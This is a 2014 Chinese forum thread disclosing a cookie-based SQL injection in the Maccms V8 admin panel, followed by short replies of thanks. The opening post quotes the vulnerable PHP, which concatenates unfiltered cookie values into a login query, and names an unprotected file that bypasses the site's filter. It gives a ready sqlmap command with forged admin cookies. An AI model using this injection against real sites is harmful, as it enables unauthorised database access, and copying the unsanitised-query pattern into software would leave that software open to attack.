C4r1st 发表于 2014-6-22 12:23:51

Maccms V8 Sql Injection #1(有gpc限制)

是cookie注入,有gpc限制,4处注入点
重现下发现过程
1. inc/common/function.php
直接获取cookie,未过滤
<pre><code>function getCookie($key)
{
    if(!isset($_COOKIE[$key])){
      return '';
    }
    else{
      return $_COOKIE[$key];
    }
}
</code>
2. admin/admin_conn.php
chkLogin() 函数获取cookie未过滤
</pre>
<pre><code>function chkLogin()
{
    global $db;
    $m_id = getCookie('adminid'); //这里直接没有过滤
    $m_name = getCookie('adminname'); //这里直接没有过滤
    $m_check = getCookie('admincheck'); //这里直接没有过滤
    /*
    print '$m_id='.$m_id.'&lt;br&gt;';
    print '$m_name='.$m_name.'&lt;br&gt;';
    print '$m_check='.$m_check.'&lt;br&gt;';
    */
    if (!isN($m_name) &amp;&amp; !isN($m_id)){
      /*
      print '$sql=';
      print 'SELECT * FROM {pre}manager WHERE m_name=\'' . $m_name .'\' AND m_id= \''.$m_id .'\' AND m_status=1';
      print '&lt;br&gt;';
      */
      $row = $db-&gt;getRow('SELECT * FROM {pre}manager WHERE m_name=\'' . $m_name .'\' AND m_id= \''.$m_id .'\' AND m_status=1');
      if($row){
            $loginValidate = md5($row['m_random'] . $row['m_name'] . $row['m_id']);
            if ($m_check != $loginValidate){
               sCookie ('admincheck','');
               redirect('?m=admin-login','top.');
            }
      }
      else{
            sCookie ('admincheck','');
            redirect('?m=admin-login','top.');
      }
    }
    else{
      redirect('?m=admin-login','top.');
    }
}</code>
3. admin/editor/uploadshow.php
但是cookie都通过了360_safe3.php保护,怎么办呢?当然是找漏网之鱼了,发现几处
</pre>
<pre><code>&lt;?php
require(dirname(__FILE__) .'/../admin_conn.php');
chkLogin();
$action=be("get","action");
$id=be("get","id");
$path=be("get","path");
?&gt;</code>
此处调用完全没过滤,直接sqlmap开搞即可

证明:
官网不是这个程序,本地搭的
>sqlmap.py -u "http://localhost/maccms8/admin/editor/uplo
adshow.php" --cookie="adminid=1; adminname=admin; admincheck=aaaa" -p cookie

漏洞作者: Mody

契约 发表于 2014-6-22 14:42:40

楼主请问gpc限制是什么东西?:o

年少如梦 发表于 2014-6-23 12:43:42

感谢分享

756522463 发表于 2014-7-13 00:01:17

:lol 不懂 过来顶一下

hou577457969 发表于 2014-7-15 22:05:56

看看:)......................

hou577457969 发表于 2014-7-15 22:11:37

好像很赞的样子:lol

qiezi 发表于 2014-8-3 23:23:37

学习一下,谢谢分享!

asd123123123 发表于 2014-9-17 15:44:24

金币则么正

shuleba 发表于 2014-11-15 01:01:03

学习了@@@@@@@@@
页: [1]
查看完整版本: Maccms V8 Sql Injection #1(有gpc限制)